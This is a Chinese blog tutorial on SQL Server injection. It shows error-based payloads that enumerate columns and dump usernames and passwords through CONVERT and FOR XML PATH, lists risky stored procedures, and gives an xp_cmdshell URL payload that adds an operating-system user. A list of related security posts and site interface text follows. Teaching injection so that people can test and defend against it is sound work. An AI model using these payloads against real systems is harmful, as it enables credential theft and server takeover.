24.注入篇————Sql server数据库注入

SQL注入篇--其他注入方式 SQL注入的其他种类注入方式 阅读详情

前言

攻击者对于数据库注入,无非是想利用数据库获取更多的数据或者更大的权限,那么利用方式可以归纳为以下几种:

  • 查询数据
  • 读写文件
  • 执行命令

利用错误消息提取信息

Sql server数据库是一个非常优秀的数据库,它可以准确地定位错误消息,对开发人员来说来说,这是一件十分美好的事情,对攻击者来说也是一件十分美好的事情,因为攻击者可以通过错误消息提取数据。

(1)枚举当前表及列

查询root用户的详细信息,SQL语句如下:

select * from users where username='root' 

利用SQL server特性来获取敏感信息,例如:

' having 1=1 --

最终执行SQL语句:

select * from users where username='root' and password='root' having 1=1 --

那么sql执行器将会抛出一个错误(因为版本的问题,显示的错误信息也不尽相同)

消息 8120,级别 16,状态1,第2行

选择列表中的列“users.id”无效,因为该列灭有包含在聚合函数或Group by子句中。

由此可以发现当前表名为users,并且存在“id”列名,攻击者可以利用此特性继续得到其他列名,输入如下SQL语句:

select * from  users  where username="root" and password='root' group by users.id having 1=1 --

执行器提示错误信息:

消息 8120,级别16,状态1,第一行

选择列表中的列'users.username'无效,因为该列没有包含在聚合函数或group by字句中。

可以看到执行器又抛出了“username”列名,由此可以依次递归查询,直到没有错误消息返回为止,这样就可以利用having字句“查询”出单前表中的所有列名。

(2)利用数据类型错误提前数据

如果试图将一个字符串与非字符串比较,或者将一个字符串装换为另外一个不兼容的类型时,那么SQL编辑器将会抛出错误异常,例如:

select * from  users where username='root' and password='root'  and 1>(select top 1 username from users)

执行器错误提示:

消息245,级别16,状态1,第二行

在将varchar值“root”转换成数据类型int时失败。

可以发现root账户已经被SQL server给“出卖”了,利用此方法可以递归推导出所有的账户信息:

select * from users where username ='root' and  password='root' and 1>(select top 1 username from users where username not in ('root'))
如果不嵌入子查询,也可以使数据库报错,这就用到了Sql server的内置函数CONVERT或者CASE函数,这两个函数的作用是:将一种数据类型装换为另外一种数据类型。输入入校SQL语句:
select * from users where username ='root' and  password='root' and 1=convert(int,(select top 1 users.username from users ))

如果感觉递归比较麻烦,可以通过使用For XML PATH语句将查询的数据生成XML,SQL语句如下:

select * from users where username ='root' and  password='root' and 1=convert(int,(select stuff((select ','+users.username,'|'+users.password from users for xml path('')),1,1,'')))

执行器抛出异常:

消息245,级别16,状态1 ,第一行

在将nvarchar值“root|root,admin|admin,xxser|xxser”转换成数据类型int时失败。

Sql server常见数据表

数据库试图

说明

sys.databaseSQL server中的所有数据库
sys.sql_loginsSQL server中的所有登录名
information_schema.tables当前用户数据库中的表
information_schema.columns当前用户数据库中的列
sys.all_collumns用户定义对象和系统对象的所有列的联合
sys.database_principals数据库中每个权限或列异常权限
sys.database_files存储在数据库中的数据库文件
sysobjects数据库中创建的每个对象(例如约束、日志以及存储过程)

SQL server常用函数

函数说明
stuff字符串截取函数
ascii取ASCII码
char根据ASCII码取字符
getdate返回日期
count放回组中的总条数
cast将一种数据类型的表达式显示转换为另外一种数据类型的表达式
rand返回随机值
is_srvrolemember指示SQL server登录名是否为指定服务器角色成员

SQLserver中的存储过程

过程说明
sp_addlogin创建新的SQL server登录,该登录运行用户使用SQL server身份验证连接到SQL server实例
sp_dropuser从当前数据库中删除数据库用户
xp_enumgroups提供Microsoft Windows本地组列表或在指定的Windows域中定义的全局组列表
xp_regwrite未被公布的存储过程,,写入注册表
xp_regread读取注册表
xp_regdeletevalue删除注册表
xp_dirtree读取目录
sp_password更改密码
xp_servicecontrol停止或激活某服务
注:

存储过程在大型数据库系统中为了完成特定功能的一组SQL"函数"。如,执行系统命令、查看注册表、读取磁盘目录等。

攻击者最常用的存储过程就是“xp_cmdshell”,这个存储过程允许用户执行操作系统命令,例如:http://xxx.xxx.xx.xx/test.asp?id=1存在注入点,那么攻击者就可以实施命令攻击:

http://xxx.xxx.xx.xx/test.asp?id=1;exec xp_cmdshell 'net user test test/add'

攻击者可以直接利用xp_cmdshell操纵服务器。

但是,并不是任何数据库用户都可以使用此类存储过程,用户必须持有Control server 权限。

Sql server数据库注入流程

(1)判断是否存在注入

'

and 1=1

and 1=2

(2)猜解字段数

order by 字段数       

(3)获得精确定位

(4)查询数据库名、表名、字段名、列名、列值

别再手动写SQL了!用DB-GPT + 本地Qwen2模型,5分钟搭建你的AI数据库助手 本文详细介绍了如何通过本地化部署DB-GPT框架与Qwen2大模型,快速搭建企业级Text2SQL私有化解决方案。从环境准备、模型获取优化到实战配置,全面解析如何实现自然语言到SQL查询的高效转换,确保数据安全与业务效率的双重提升。 阅读详情

相关推荐

Azure SQL Database云数据库选型与生产级落地实践

云数据库是现代应用的数据底座,其核心价值在于将运维复杂度转化为业务敏捷性。Azure SQL Database作为PaaS模式的代表,通过自动备份、跨故障域高可用、无感弹性伸缩等机制,实现开箱即稳的工程体验。它并非单纯替代本地SQL Server,而是重新定义了数据库的责任边界——让团队聚焦数据建模、查询优化与安全治理,而非补丁更新、IO调优或备份巡检。在SaaS多租户、电商大促、IoT海量写入等典型场景中,结合弹性池、服务层级(General Purpose/Business Critical/Hyper

weixin_33912453的博客 447

【网络安全-SQL注入(4)】一篇文章带你了解sql server数据库三大权限,以及三大权限的SQL注入,SQL注入点利用以及getshell

【网络安全-SQL注入】SQL注入----一篇文章教你access数据库SQL注入以及注入点利用。SQL注入【3】-优快云博客本篇文章以凡诺企业网站管理系统为例,讲解了access数据库是如何进行SQL注入的,以及注入点如何利用,如何判断查询字段个数,如果用联合查询爆出数据库数据等;【网络安全-SQL注入】SQL注入----一篇文章教你access数据库SQL注入以及注入点利用。SQL注入【3】;

m0_67844671的博客 3270

SQL Server存储过程中执行动态SQL语句

一、简介      在Sql Server中执行动态sql语句有两种方法:exec和exec sp_executesql。      优缺点: 1、exec sp_executesql提供输入、输出接口,可以在sql语句中进行参数占位;exec则不可以。 2、exec sp_executesql能够重用执行计划,提高了执行效率;exec则不可以。 3、exec sp_executesql更安

幸福只是一种感觉 7829

1、sql server数据库进行sql注入

1、判断数据类型是很重要的一点,影响后面的注入语句2、确定列数时,要多测几组数据,从而分析判断列数,并不是遇到第一个报错就停止测试3、正常网页(例如id=1,参数正确)没有注入回显时,试试报错情况(id=-1),注入回显有可能被正常返回数据覆盖4、注入回显的字段有可能整形、字符、小数等,注意是否需要单引号5、最好先全部统一会先字段类型,比如全部整形,挨个轮流改变为字符形。

weixin_51520483的博客 1502

SQL Server手工注入方式

本文详细的介绍了Sql Server安全基础,包括环境搭建,T-sql语法,sqlserver用户权限,以及sqlserver注入的方法和提权方式。 Microsoft SQL Server(微软结构化查询语言服务器),也叫Mssql,是由美国微软公司所推出的关系型数据库。默认端口号为1433常见版本如下版本年份发布名称8.02000年8.02003年SQL Server 2000 64-bit版本9.02005年10.02008年10.252009年SQL Azure。

渗透之路,攻防之间皆学问 7820

动态 SQL 语句与防止 SQL 注入

上一篇我们学习了如何在 Java 程序中通过 JDBC 接口连接和操作数据库。 今天我们来讨论一下 SQL 中的动态语句,以及由此带来的 SQL 注入问题。 什么是动态 SQL 语句? 在我们的专栏中,使用的基本都是静态 SQL 语句(Static SQL),因为这些语句的内容在编译时就已经完全确定。与此相反,数据库还支持另一类语句:动态语句(Dynamic SQL)。 动态 SQL 语句是指内容...

Tony.Dong的专栏 1940

SQLServer数据库之SQL注入

1. 前言 搜寻了好久发现一张非常详细的关于SQLServer注入脑图。 图片来源:https://xie1997.blog.csdn.net/article/details/88679754 2. SQLServer数据库 2.1 数据库权限介绍 SQL Server数据库是由Microsoft开发和推广的关系数据库管理系统(DBMS),是一个比较大型的数据库,默认端口:1433。数据库后缀名(.mdf),注释符(--)。 SQL Server有三个权限级别: sa权限:服务器级别,

Jietewang的博客 1317

24-4 SQL 注入 - http头注入之referer注入

在代码中,通过检查用户输入的用户名和密码,然后构造SQL语句查询数据库中是否存在匹配的用户记录。如果查询成功,则会将referer和IP地址插入到referers表中,并显示用户的referer信息。如果查询失败,则会显示错误信息,并显示一个图片。这段代码是一个简单的演示网页,主要用于演示头部注入(Header Injection)和基于错误的SQL注入攻击。用户可以在表单中输入用户名和密码,然后提交到服务器端进行处理。

weixin_43263566的博客 637

SQLServer数据库注入-墨者学院(SQL手工注入漏洞测试(Sql Server数据库))

SQLServer数据库注入-墨者学院-SQL手工注入漏洞测试(Sql Server数据库)详细讲解

你们de4月天的博客 1573

DaVinci Configurator实战:从DBC导入到通信栈配置全解析

本文详细解析了如何使用Vector DaVinci Configurator工具,从导入行业标准DBC文件开始,高效完成AutoSAR通信栈(包括COM、PduR、CanIf等模块)的自动化与精细化配置。文章通过实战步骤,重点阐述了DBC导入、与EB MCAL协同、核心模块参数调整及诊断标定服务集成等关键环节,旨在帮助汽车电子工程师快速掌握这一核心工具,提升开发效率与准确性。

weixin_29159127的博客 591

深度解读扫地机器人的导航原理

科技改变生活,不可否认科技的进步的确为我们的生活带来许多便捷,以智能家电为例,智能电饭煲、智能洗碗机、智能扫地机等产品已逐渐成为家庭的一分子,其中以扫地机表现最为抢眼。能做到智能规划清扫,收割了不少家庭主妇及科技爱好者的芳心。但扫地机并非一开始就这么智能,最初的扫地机只能做到随机式清扫,会频繁出现碰撞现象。 近年来,通过业界的不断努力,目前,扫地机器人已告别乱碰乱撞现象,能做到自主路径...

qq_38403231的博客 6503

SQL注入攻击三部曲之入门篇

服务器安全管理员和攻击者的战争仿佛永远没有停止的时候,针对国内网站的ASP架构的SQL注入攻击又开始大行其道。本篇文章通过SQL注入攻击原理引出SQL注入攻击的实施方法,旨在企业安全管理员能够通过技术学习提升自己的安全意识。 第一节、SQL注入原理 以下我们从一个网www.mytest.com开始(注:本文发表前已征得该站站长同意,大部分都是真实数据)。 在网站首页上,有名为“IE不能打开

大树叶 技术专栏 513

Xilinx FPGA 100G RDMA开发实战:基于AXI Lite配置的ROCE V2高速通信系统搭建

本文详细介绍了在Xilinx FPGA上搭建100G ROCE V2高速通信系统的实战过程。通过分析RDMA技术优势与FPGA实现的必要性,重点阐述了基于AXI Lite接口配置ERNIC IP核的关键步骤,包括硬件系统构建、驱动开发及与商用网卡的互通测试,旨在实现兼具高性能与灵活性的网络加速方案。

js777的博客 575

SQL手工注入基础篇

0.前言 本篇博文是对SQL手工注入进行基础知识的讲解,更多进阶知识请参考进阶篇(咕咕),文中有误之处,还请各位师傅指出来。学习本篇之前,请先确保以及掌握了以下知识: 基本的SQL语句 HTTP的GET、POST请求,URL编码 文中所有例题选自sqlilab,可以先配置好一起边看边操作。因为虚拟机炸了,所以我自己搭建了一个简陋的平台,sqlilab可自行进行搭建练习,在...

weixin_38169206的博客 305

京东技术产品经理面试全记录:从简历投递到一面45分钟实战复盘

本文深度复盘京东技术产品经理面试全流程,从策略准备、思维题拆解、项目阐述到反问谈判,提供了一套可演练的求职策略体系。文章强调该岗位需具备横跨技术与商业的枢纽能力,并通过“QQ分组vs微信标签”等案例,剖析了产品思维与结构化表达在面试中的关键作用,助力候选人将紧张转化为掌控感。

weixin_29275257的博客 628

AI Agent技能评测框架SkillsBench:从黑盒评估到白盒技能拆解

在人工智能领域,模型评估是衡量技术进展的核心环节。传统评测基准如GLUE、MMLU主要关注模型的通用认知能力,但实际工程应用中,AI Agent需要的是在复杂场景中协调多种能力的“职业技能”。SkillsBench创新性地将Agent能力进行原子化拆解,定义了理解规划、工具调用、推理决策、交互安全等技能维度,并通过领域专家构建的评测集确保生态效度。这一框架为Agent开发提供了精准的“度量衡”,使性能优化从经验驱动转向数据驱动,同时为不同模型和框架提供了公平比较的基础,推动了AI Agent生态从“野蛮生长

weixin_30530339的博客 388

mysql带回显注入,【原创】WEB安全第四章 SQL注入篇24高级注入技巧 dnslog无回显注入...

WEB安全第四章 SQL注入篇24高级注入技巧 dnslog无回显注入1、原理DNS在解析的时候会留下日志,利用这个属性,可以读取多级域名的解析日志,来获取信息。将带有查询的语句 发起dns查询请求,通过dns请求查询到值,组合成三级域名,在ns服务器dns的日志中显示出来。无回显注入 ,一般使用布尔型盲注入和延时注入 查询数据,但是这两种查询都是很慢,dnslog查询 因为是直接显示数据,所以这...

weixin_34580002的博客 226

VS2019 C# 连接IBM DB2数据库并查询数据表

操作系统:win10 64位 C#:VS2019 数据库:IBM DB2v11.1_win64_expc 其他工具:IBM Data Studio ibm_ds4130_win 步骤一:使用命令行或是IBM DB2工具:Data Studio,创建一个数据库。这里名称为:Student CREATE DATABASE "Student" AUTOMATIC STORAGE YES ...

坚韧与专注 3795

[网络安全学习篇55]:SQL自动化注入

引言:我的系列博客[网络安全学习篇]上线了,小编也是初次创作博客,经验不足;对千峰网络信息安全开源的视频公开课程的学习整理的笔记整理的也比较粗糙,其实看到目录有300多集的时候,讲道理,有点怂了,所以我就想到了通过写博客(课程笔记)的形式去学习它,虽然写博客会让我多花几倍的时间去学习它,但是当我完成一篇博客所获得的成就感和你们对于我的认同感,让我很满足,能够鼓励我一天天的坚持下去,也希望和我...

安全知识学习-该平台为唯一原作者平台,其他平台属冒名顶替,请勿相信上当受骗 2863

在STM32F103RBT6微控制器上利用USB虚拟Com端口技术,高效实现ADC数据传输:详细操作步骤与示例代码解析

以上就是在STM32F103RBT6上使用USB虚拟Com端口实现ADC数据传输的全部内容。虽然过程中有很多步骤和细节需要注意,但只要按照步骤来,理解每一段代码的作用,就完全可以掌握这个过程。在实际应用中,我们可能需要根据实际需要修改一些代码,如调整ADC的参数,改变数据的处理方式等。但是,只要理解了这个过程,我们就可以很灵活地进行修改。希望这篇文章对你有所帮助。如果你有任何疑问,欢迎在评论区留言,我会尽我所能进行解答。

qq_38334677的博客 1168

C# WinForm 基于DirectShow.dll编写的程序,可边预览边保存视频,音频和图片

基于微软的DirectShow.dll的二次开发1.自动识别连接的摄像头跟麦克风且可以对其进行选择(默认选中第一个)2.可录制wmv和avi两种格式的视频并且都带有音频,avi可以录制的分辨率和帧数进行选择,wmv默认进行了淸晰度优化如不喜欢可去除代码中有相关提示3.可在预览点开之后进行拍照,也可边录制视频边拍照4.添加了视频和音频的压缩功能(酌情使用)这次二次开发发现C#对DirectShow的相关信息太少,这次做完也不敢藏私共享出来,还望大家指正

SQL注入(head注入)---zkaq

1.概念 Head注入:当网站请求中的head信息与数据库有交互的情况下,就可以尝试head注入 常见的超全局变量: $_REQUEST (获取GET/POST/COOKIE) COOKIE在新版本已经无法获取了 $_POST (获取POST传参) $_GET (获取GET的传参) $_COOKIE (获取COOKIE的值) $_SERVER (包含了诸如头信息(header)、路径(path)、以及脚本位置(script locations)等等信息的数组) $_SERVER常见的用法:

weixin_38237216的博客 2113

温度PID控制PLC程序

温度PID稳定控制程序,适用于欧姆龙PLC,对其他PLC也具有很大参考价值

ToolJet 连接 MS SQL Server / Azure SQL 数据库完整指南:数据源配置、SQL 与 GUI 查询、加密与超时设置

ToolJet 内置的 MS SQL Server 数据源插件(仓库实现位于 [plugins/packages/mssql](https://link.gitcode.com/i/44c15f03746b6aa27db130bae71b0293))支持连接自建的 Microsoft SQL Server 实例与云端的 Azure SQL 数据库,用于在低代码应用中读取与写入数据。阅读本文后,你将

gitblog_00718的博客 828

LinePhone3.2.7(android端最新版本) sip客户端

SIP客户端For android:LinePhone3.2.7(最新版本),官网地址:http://www.linphone.org/

jre9下载 jdk9

(Java SE Runtime Environment 9.0) 9.0u175 官方最新版 【x86|x64】

server sql 去 反斜杠_SQL注入(四)

二次注入查看数据库的用户名密码进入靶场演示二次注入 sqlib-24首先使用admin/admin用户登录登录成功会提示更改密码,退出登录重新创建一个用户用户名admin‘# 密码123成功注册 后台查看然后使用 admin’# 用户登录进来 修改密码返回数据库查看登录admin‘# 修改密码 反而admin的密码改变了注册新用户过程中的处理代码:if(isset($_POST['su...

weixin_36018183的博客 443

sql注入--------学习篇一

 下面是我的一点点经历,如果您对此不感兴趣可直接掠过看下一段:小弟不才,之前曾做过几个网站,因为网站不是很大本以为不用考虑太多网络安全问题,所以对网站的安全没做过多的考虑,谁知刚上线还 不 到一 个 月。。,就被YY黑客给光顾了,真TMD给面子啊! 既然问题来了就解决呗,进去网站刚打开网页KB就提示拦截了www.xxxxx.网站木马。。。⊙﹏⊙b汗   赶快看看源代码吧“查看”—》“源

稻草人的高粱地 918

sql server agent会自动关闭_SQL注入(四)

二次注入查看数据库的用户名密码进入靶场演示二次注入 sqlib-24首先使用admin/admin用户登录登录成功会提示更改密码,退出登录重新创建一个用户用户名admin‘# 密码123成功注册 后台查看然后使用 admin’# 用户登录进来 修改密码返回数据库查看登录admin‘# 修改密码 反而admin的密码改变了注册新用户过程中的处理代码:if(isset($_POST['su...

weixin_39787397的博客 369
上一篇: 【漏洞挖掘】——19、SSI漏洞的利用思路
下一篇: 25. 注入篇——Postgresql注入
FLy_鹏程万里
FLy_鹏程万里 优质创作者: 后端开发技术领域 优质创作者: 后端开发技术领域 领域专家: 操作系统技术领域 领域专家: 操作系统技术领域
博客等级 码龄9年 1万+粉丝 1364原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值